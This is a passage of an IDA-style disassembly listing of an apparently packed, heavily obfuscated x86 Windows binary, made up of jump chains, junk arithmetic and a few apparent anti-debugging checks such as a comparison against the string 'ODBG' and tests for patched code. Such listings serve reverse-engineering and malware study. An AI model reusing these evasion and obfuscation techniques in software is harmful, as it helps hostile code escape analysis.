		jmp	loc_40D021
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBB2


loc_4075F5:				; CODE XREF: sub_40CBB2+17E4j
		jp	loc_4105C9
		mov	esi, [edx]
		jmp	loc_40B0DB
; END OF FUNCTION CHUNK	FOR sub_40CBB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_407602:				; CODE XREF: sub_405CBC+77CDj
		mov	eax, [ebp-18h]
		shl	eax, 2
		cdq
		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
		jz	loc_40F581
		add	esp, 8
		mov	eax, [eax]
		jmp	loc_40F1D1
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410E72


loc_407620:				; CODE XREF: sub_410E72+19j
		ror	ebp, 15h
		not	ebx
		sbb	edx, ebx
		xor	esi, ebx
		jmp	loc_40A5CC
; END OF FUNCTION CHUNK	FOR sub_410E72
; ---------------------------------------------------------------------------


loc_40762E:				; DATA XREF: sub_405797+56Eo
		call	sub_40E13A
		lea	eax, [ebp-14h]
		call	sub_4068E7
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_40763B:				; CODE XREF: sub_40BF48+2D47j
		jmp	loc_40F976
; END OF FUNCTION CHUNK	FOR sub_40BF48
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_407641	proc near		; DATA XREF: _837l4vi2:0040D22Bo

; FUNCTION CHUNK AT 0040AC79 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040FB95 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410015 SIZE 00000005 BYTES

		push	0FA17A569h
		pop	edi
		add	edi, 6B9C3021h
		add	edi, ebp
		add	edi, 9A4C2A5Eh
		mov	[edi], edx
		jmp	loc_410015
sub_407641	endp

; ---------------------------------------------------------------------------


loc_40765C:				; CODE XREF: _837l4vi2:loc_40D021j
		call	sub_40B088


loc_407661:				; CODE XREF: _837l4vi2:0040E3B6j
		mov	edx, 9E849D81h
		push	ecx
		call	sub_407853
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40766C:				; CODE XREF: sub_40AA44+5454j
		jmp	sub_40BF48
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------


loc_407671:				; CODE XREF: _837l4vi2:004092FAj
		pop	ebp
		jmp	loc_41017A
; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
		dd 9AF3BDCEh, 0BDC61382h, 0C6C43898h, 9AF6BB9Bh, 8A0D9CADh
		dd 7884606h, 75DB0147h,	831E8B07h, 0DB11FCEEh, 1B8ED72h
		dd 14C3F4Fh, 8B0775DBh,	0FCEE831Eh, 0C011DB11h,	0A573DB01h
		dd 1E8B4475h
; ---------------------------------------------------------------------------
		sub	esi, 0FFFFFFFCh
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_4076BF:				; CODE XREF: sub_4065B8-8CDj
		jmp	loc_40B7F6
; END OF FUNCTION CHUNK	FOR sub_4065B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF94


loc_4076C4:				; CODE XREF: sub_40DF94+17ABj
					; sub_40DF94:loc_410D7Aj
		call	sub_409D6B
		mov	edx, 0EEE68DF1h
		call	sub_40E739
		push	eax
		rol	eax, 14h
		mov	ds:dword_40D400, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40DF94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406834


loc_4076DE:				; CODE XREF: sub_406834+7C70j
		jmp	loc_40B811
; END OF FUNCTION CHUNK	FOR sub_406834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F1B


loc_4076E3:				; CODE XREF: sub_408F1B:loc_40910Bj
					; sub_408F1B+207j
		add	edx, 0FFD7FB83h
		call	sub_40F5BE
; END OF FUNCTION CHUNK	FOR sub_408F1B
; START	OF FUNCTION CHUNK FOR sub_40F812


loc_4076EE:				; CODE XREF: sub_40F812-6D1Aj
					; _837l4vi2:loc_410D8Dj
		jmp	nullsub_124
; END OF FUNCTION CHUNK	FOR sub_40F812
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_4076F3:				; CODE XREF: sub_4078C8:loc_410304j
		jmp	loc_40C5C9
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------


loc_4076F8:				; CODE XREF: _837l4vi2:0040DB36j
		call	sub_40AA44
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_4076FD:				; CODE XREF: sub_41087A+10j
		jz	loc_40618F
		jmp	loc_409D12
; END OF FUNCTION CHUNK	FOR sub_41087A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_407708:				; CODE XREF: sub_40BF48:loc_409043j
		mov	[esp+10h+var_10], eax
		lea	eax, sub_407E89
		push	ebx
		push	offset sub_405810
		jmp	loc_410EFB
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4087C8


loc_40771C:				; CODE XREF: sub_4087C8+10j
		pop	ecx
		mov	eax, offset loc_40AD76
		call	sub_40AD64
; END OF FUNCTION CHUNK	FOR sub_4087C8
; START	OF FUNCTION CHUNK FOR sub_408885


loc_407727:				; CODE XREF: sub_408885+5j
		jmp	loc_405919
; END OF FUNCTION CHUNK	FOR sub_408885
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E236


loc_40772C:				; CODE XREF: sub_40E236:loc_409B0Aj
		jnz	loc_40ACC8
		jmp	loc_40806E
; END OF FUNCTION CHUNK	FOR sub_40E236
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5BE


loc_407737:				; CODE XREF: sub_40C5BE:loc_408224j
					; sub_40C5BE+43BFj
		push	offset sub_410377
		jmp	nullsub_126
; END OF FUNCTION CHUNK	FOR sub_40C5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409B39


loc_407741:				; CODE XREF: sub_409B39:loc_40D8A6j
		mov	esp, ebp
		mov	ebp, offset sub_407756
		xchg	ebp, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_409B39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40774C:				; CODE XREF: sub_4078C8+7FEDj
		jmp	loc_40555B
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F141


loc_407751:				; CODE XREF: sub_40F141-1BF0j
		jmp	nullsub_113
; END OF FUNCTION CHUNK	FOR sub_40F141

; =============== S U B	R O U T	I N E =======================================



sub_407756	proc near		; DATA XREF: sub_409B39-23F6o

; FUNCTION CHUNK AT 00407F22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D155 SIZE 0000000F BYTES

		mov	eax, ds:dword_41068C
		or	eax, eax
		jnz	loc_40F52A
		call	sub_40B088
		jmp	loc_407F22
sub_407756	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A454


loc_40776E:				; CODE XREF: sub_40A454:loc_40D1E7j
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8
		jmp	loc_40E0F6
; ---------------------------------------------------------------------------


loc_40777A:				; CODE XREF: sub_40A454:loc_407CEFj
		call	sub_40A454


loc_40777F:				; CODE XREF: sub_40DFF5+6Fj
		jmp	loc_407261
; END OF FUNCTION CHUNK	FOR sub_40A454
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405250


loc_407784:				; CODE XREF: sub_405250+7EF1j
		jmp	sub_40D92B
; END OF FUNCTION CHUNK	FOR sub_405250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407C12


loc_407789:				; CODE XREF: sub_407C12+4j
		jmp	loc_40E043
; END OF FUNCTION CHUNK	FOR sub_407C12

; =============== S U B	R O U T	I N E =======================================



sub_40778E	proc near		; CODE XREF: sub_409B39:loc_4068B3p
					; _837l4vi2:0040E3BCj
		mov	[esp+0], eax
		pop	eax
		push	ebp
		mov	ebp, esp
		jmp	sub_407EE8
sub_40778E	endp

; ---------------------------------------------------------------------------
		not	edi
		jmp	loc_40571D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410E1F


loc_4077A1:				; CODE XREF: sub_410E1F:loc_410E38j
		jz	loc_408271
		jmp	loc_40859D
; END OF FUNCTION CHUNK	FOR sub_410E1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_4077AC:				; CODE XREF: sub_40D7F5-35DEj
		adc	esi, ebp
		not	esi
		or	eax, edi
		xor	ebx, 48D87F9Bh
		jmp	loc_40E24A
; END OF FUNCTION CHUNK	FOR sub_40D7F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4059FC


loc_4077BD:				; CODE XREF: sub_4059FC+10j
					; sub_405797+560j ...
		mov	eax, ds:dword_406B44
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		jmp	nullsub_13
; END OF FUNCTION CHUNK	FOR sub_4059FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_4077D0:				; CODE XREF: sub_40DF72-7BA8j
		jz	loc_407CDD
		jmp	loc_40AE18
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F9B3


loc_4077DB:				; CODE XREF: sub_40F9B3+Ej
		jz	loc_40CBF7
		jmp	loc_40F34B
; END OF FUNCTION CHUNK	FOR sub_40F9B3

; =============== S U B	R O U T	I N E =======================================



sub_4077E6	proc near		; CODE XREF: sub_4053DD+5EB1p
					; _837l4vi2:00410F73j

; FUNCTION CHUNK AT 004071FF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004085F7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00408CCC SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		push	edi
		push	0F053FD70h
		pop	edi
		and	edi, 159ACF73h
		add	edi, 0EFED3294h
		add	eax, edi
		jmp	loc_4085F7
sub_4077E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_407804:				; CODE XREF: sub_40E3C8-1982j
		cmp	ebx, 6846A9CAh
		jmp	loc_4087DD
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
		shr	ebp, 1Dh
		jmp	sub_406BF8
; ---------------------------------------------------------------------------
		test	ebx, 0E8F3E880h
		jmp	loc_40ACEC
; ---------------------------------------------------------------------------
		push	eax
		call	sub_40C90B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_407829:				; CODE XREF: sub_409D6B+3F6Dj
		jmp	sub_40BF48
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_40782E:				; CODE XREF: sub_406ADC:loc_40F460j
		shl	edx, 0Ch
		jmp	loc_40AA22
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407EF6


loc_407836:				; CODE XREF: sub_407EF6+5EF6j
					; sub_407A96:loc_41042Dj
		jz	loc_40F752
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0
		jnz	loc_40CB5D
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0
		jmp	loc_40F744
; END OF FUNCTION CHUNK	FOR sub_407EF6

; =============== S U B	R O U T	I N E =======================================



sub_407853	proc near		; CODE XREF: _837l4vi2:00406D0Ej
					; _837l4vi2:00407667p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040B620 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F4CB SIZE 0000000E BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0A87BF213h
		pop	ecx
		jmp	loc_40B620
sub_407853	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4098B0


loc_407862:				; CODE XREF: sub_4098B0:loc_406D45j
		mov	ds:dword_40ABA0, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4098B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C805


loc_407869:				; CODE XREF: sub_40C805:loc_4081EBj
					; _837l4vi2:0040AA08j
		ror	eax, 0Bh
		push	eax
		call	sub_40B99D
		retn
; END OF FUNCTION CHUNK	FOR sub_40C805
; ---------------------------------------------------------------------------


loc_407873:				; CODE XREF: _837l4vi2:0040A072j
		jmp	loc_40D5E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C77


loc_407878:				; CODE XREF: sub_406C77+2D05j
		jmp	nullsub_111
; END OF FUNCTION CHUNK	FOR sub_406C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40611B


loc_40787D:				; CODE XREF: sub_40611B-DA5j
		jmp	loc_40734B
; END OF FUNCTION CHUNK	FOR sub_40611B

; =============== S U B	R O U T	I N E =======================================



sub_407882	proc near		; DATA XREF: sub_40A2EC+2o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040797D SIZE 00000005 BYTES

		push	8485EB15h
		add	[esp+4+var_4], 7B7A14FBh
		mov	eax, [ebp-8]
		jmp	loc_40797D
sub_407882	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_407896:				; CODE XREF: sub_40989E:loc_4052EEj
		lea	eax, [ebp-20h]
		mov	dword ptr [eax], 70736957h
		lea	eax, [ebp-1Ch]
		mov	dword ptr [eax], 646E6957h
		jmp	loc_408311
; END OF FUNCTION CHUNK	FOR sub_40989E
; ---------------------------------------------------------------------------
		adc	eax, ebx
		jmp	sub_40FB7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_4078B4:				; CODE XREF: sub_4053DD+9BA0j
		jnz	loc_40536F
		jmp	loc_407D92
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_4078BF:				; CODE XREF: sub_40882B+B42j
		xchg	edx, [esp+0]
		jmp	loc_406006
; END OF FUNCTION CHUNK	FOR sub_40882B
; ---------------------------------------------------------------------------


loc_4078C7:				; CODE XREF: _837l4vi2:0040D82Fj
		push	ebx

; =============== S U B	R O U T	I N E =======================================



sub_4078C8	proc near		; CODE XREF: sub_40D363+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040555B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00406154 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004065A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406656 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004076F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040774C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408667 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040877E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00408C47 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00408E52 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040946C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00409523 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00409771 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004097A3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040A59D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040A67E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040B4EE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040BE73 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040BFA3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040CAE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CCFD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D03C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040D07B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D4AA SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0040D776 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040E10C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040E5F8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F89D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00410086 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00410164 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00410304 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004104B4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00410658 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00410C76 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00410D2B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410DA4 SIZE 0000000B BYTES

		mov	[esp+0], ebx
		pop	ebx
		push	eax
		call	sub_409D80
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_409523
		jmp	loc_40D07B
sub_4078C8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4078E1:				; CODE XREF: _837l4vi2:0040F971j
		cmp	ebp, 0C1E71C55h
		jmp	loc_4104DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_4078EC:				; CODE XREF: sub_40B859+1ADFj
		jl	loc_40889E


loc_4078F2:				; CODE XREF: sub_40E3C8-21C7j
		jmp	loc_40E4CD
; END OF FUNCTION CHUNK	FOR sub_40B859
; ---------------------------------------------------------------------------
		jbe	loc_40F9BB
		jmp	loc_40889A

; =============== S U B	R O U T	I N E =======================================



sub_407902	proc near		; CODE XREF: _837l4vi2:0040F5D7j
					; _837l4vi2:loc_410786p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004098C1 SIZE 00000009 BYTES

		mov	[esp+0], edx
		pop	edx
		push	4A43FD8Fh
		mov	[esp+0], esi
		push	5965A949h
		jmp	loc_4098C1
sub_407902	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_407918	proc near		; CODE XREF: _837l4vi2:004081A9j
					; sub_40D74E:loc_40FB49p

; FUNCTION CHUNK AT 004081F6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00408FFC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0040D9C7 SIZE 0000000C BYTES

		xchg	eax, [esp+0]
		pop	eax
		ror	eax, 11h
		call	sub_40C49C


loc_407924:				; CODE XREF: sub_410377+12j
		jmp	loc_4081F6
sub_407918	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_407929:				; CODE XREF: sub_40AA44-216Aj
		jnz	loc_40808C
		mov	ebp, 0D39C61FDh


loc_407934:				; CODE XREF: sub_40AA44:loc_4088CEj
		rol	esi, 13h
		add	esi, 0E0288127h
		jmp	loc_406D25
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DDF1


loc_407942:				; CODE XREF: sub_40DDF1+9j
		pop	esi
		or	esi, 60CA01D0h
		cmp	esi, 0F969589Fh
		jmp	loc_40FA45
; END OF FUNCTION CHUNK	FOR sub_40DDF1
; ---------------------------------------------------------------------------
		mov	esi, 0CC20F26Bh
		jmp	loc_4085D1
; ---------------------------------------------------------------------------


loc_40795E:				; CODE XREF: _837l4vi2:loc_409B34j
		xor	edi, 69D2EE49h
		sbb	ecx, edx
		and	ebp, 5172F30Bh
		jmp	loc_4082DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC3E


loc_407971:				; CODE XREF: sub_40DC3E-4EADj
		push	eax

locret_407972:				; CODE XREF: _837l4vi2:loc_4106D0j
		retn
; END OF FUNCTION CHUNK	FOR sub_40DC3E
; ---------------------------------------------------------------------------


loc_407973:				; CODE XREF: _837l4vi2:0040AD7Bj
		jmp	loc_408208
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409127


loc_407978:				; CODE XREF: sub_409127-148Fj
		jmp	loc_406847
; END OF FUNCTION CHUNK	FOR sub_409127
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407882


loc_40797D:				; CODE XREF: sub_407882+Fj
		jmp	loc_40B7F9
; END OF FUNCTION CHUNK	FOR sub_407882

; =============== S U B	R O U T	I N E =======================================



sub_407982	proc near		; CODE XREF: sub_409D6B:loc_40E8F2p
					; sub_40AA44:loc_41012Cj
		call	sub_41072F


loc_407987:				; CODE XREF: sub_40AFF0+17j
		jmp	nullsub_14
sub_407982	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_40798C:				; CODE XREF: sub_40B859+56FAj
		xor	edx, 59B1F488h
		add	edx, 88748A67h
		add	edx, ebp
		add	edx, 6B79721Eh
		mov	edx, [edx]
		push	offset sub_408527
		jmp	loc_40A9B8
; END OF FUNCTION CHUNK	FOR sub_40B859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DC8C


loc_4079AC:				; CODE XREF: sub_40DC8C:loc_40E17Aj
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40DF3C
		push	offset sub_409CCE
		jmp	loc_40FF54
; END OF FUNCTION CHUNK	FOR sub_40DC8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40848F


loc_4079BF:				; CODE XREF: sub_40848F:loc_40C497j
		mov	eax, ds:dword_40B61C
		or	eax, eax
		jnz	loc_40825F
		call	sub_40B088
		mov	edx, 0BB931B55h
		call	sub_40E739
		push	0B4C649F3h
		mov	[esp+4+var_4], eax
		jmp	loc_408255
; END OF FUNCTION CHUNK	FOR sub_40848F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_4079E9:				; CODE XREF: sub_40892F-2CA7j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h
		jnz	loc_40B931
		mov	eax, [ebp-4]
		inc	eax


loc_4079F9:				; CODE XREF: _837l4vi2:00405C73j
		push	offset loc_40678A
		jmp	loc_40D35E
; END OF FUNCTION CHUNK	FOR sub_40892F

; =============== S U B	R O U T	I N E =======================================



sub_407A03	proc near		; CODE XREF: _837l4vi2:00405EB3j
					; _837l4vi2:loc_4060FBp

arg_4		= dword	ptr  8

		mov	[esp+0], eax
		pop	eax
		add	ebx, offset sub_410362
		popf
		xchg	ebx, [esp-8+arg_4]
		jmp	sub_40A7F9
sub_407A03	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_407A16:				; CODE XREF: sub_409D6B+6118j
		pop	ebx
		sub	ebx, 3E6B2D5Ch
		jnz	loc_40AF14
		ja	loc_409B64
		jmp	loc_40AF11
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C162


loc_407A2E:				; CODE XREF: sub_40C162+14j
		mov	eax, [eax]


loc_407A30:				; CODE XREF: _837l4vi2:loc_40A77Dj
		and	eax, 0FFFFFFh
		cmp	eax, 0C3C033h
		jnz	loc_40EABA
		jmp	loc_40B40D
; END OF FUNCTION CHUNK	FOR sub_40C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AB62


loc_407A45:				; CODE XREF: sub_40AB62:loc_40E75Dj
		xchg	ecx, [esp+0]
		jmp	loc_40842B
; END OF FUNCTION CHUNK	FOR sub_40AB62
; ---------------------------------------------------------------------------


loc_407A4D:				; CODE XREF: _837l4vi2:0040D390j
		jz	loc_40935B
		pushf
		jmp	sub_409AA3

; =============== S U B	R O U T	I N E =======================================



sub_407A59	proc near		; CODE XREF: _837l4vi2:00405E61j
					; sub_40A050+6DC0p

; FUNCTION CHUNK AT 00408953 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AC02 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040E7AF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004109E6 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	eax
		jmp	loc_4109E6
sub_407A59	endp


; =============== S U B	R O U T	I N E =======================================



sub_407A63	proc near		; CODE XREF: sub_405752j

; FUNCTION CHUNK AT 004088DF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040D805 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_40D805
sub_407A63	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_407A69:				; CODE XREF: sub_40926F+5814j
		pop	ebp


loc_407A6A:				; CODE XREF: sub_40926F+580Cj
		xor	edx, 0AF0A906Ah
		add	edx, ebp
		add	edx, 0AF0EB447h
		mov	edx, [edx]
		jmp	loc_40949F
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40989E


loc_407A7F:				; CODE XREF: sub_40989E:loc_405B3Fj
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_4052EE
		push	0
		push	0
		push	edx
		jmp	loc_40D08E
; END OF FUNCTION CHUNK	FOR sub_40989E

; =============== S U B	R O U T	I N E =======================================



sub_407A96	proc near		; DATA XREF: sub_4094E2+6C0Fo

; FUNCTION CHUNK AT 0041042D SIZE 00000005 BYTES

		inc	dword ptr [ebp-4]
		jmp	loc_41042D
sub_407A96	endp


; =============== S U B	R O U T	I N E =======================================



sub_407A9E	proc near		; CODE XREF: sub_407EF6:loc_40DDE4p
		mov	eax, 47h
		retn
sub_407A9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_407AA4	proc near		; CODE XREF: sub_40DFF5-7C84j
					; sub_4059FC:loc_4068ECp ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00405E2C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00406100 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00407C5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407E76 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00408E8B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00409314 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00409489 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004095AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004099A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A78F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B06C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040B62C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D037 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D8EA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0040DF05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EC1E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040EEAE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040F0B6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040FCA1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040FD4D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00410F06 SIZE 0000000D BYTES

		jo	sub_408E97
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_409489
sub_407AA4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		popf
		jmp	loc_40EED6

; =============== S U B	R O U T	I N E =======================================



sub_407AB9	proc near		; CODE XREF: sub_40A00D:loc_40E758p
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
sub_407AB9	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_407ABF:				; CODE XREF: sub_40DF72:loc_407B90j
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4063AE
		jmp	loc_4063C2
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------


loc_407ACD:				; CODE XREF: _837l4vi2:004091E1j
		jz	loc_410786

; =============== S U B	R O U T	I N E =======================================



sub_407AD3	proc near		; CODE XREF: _837l4vi2:0040B8EAp

; FUNCTION CHUNK AT 00406CF2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C36F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040C995 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410757 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_409F1E
		jmp	loc_410757
sub_407AD3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_407AE8:				; CODE XREF: sub_409D6B:loc_4084D4j
					; sub_40B8AE:loc_40F232j
		call	sub_40B088
		mov	edx, 7DA6ACC0h
		call	sub_40E739
		call	sub_40BEFD
; END OF FUNCTION CHUNK	FOR sub_409D6B
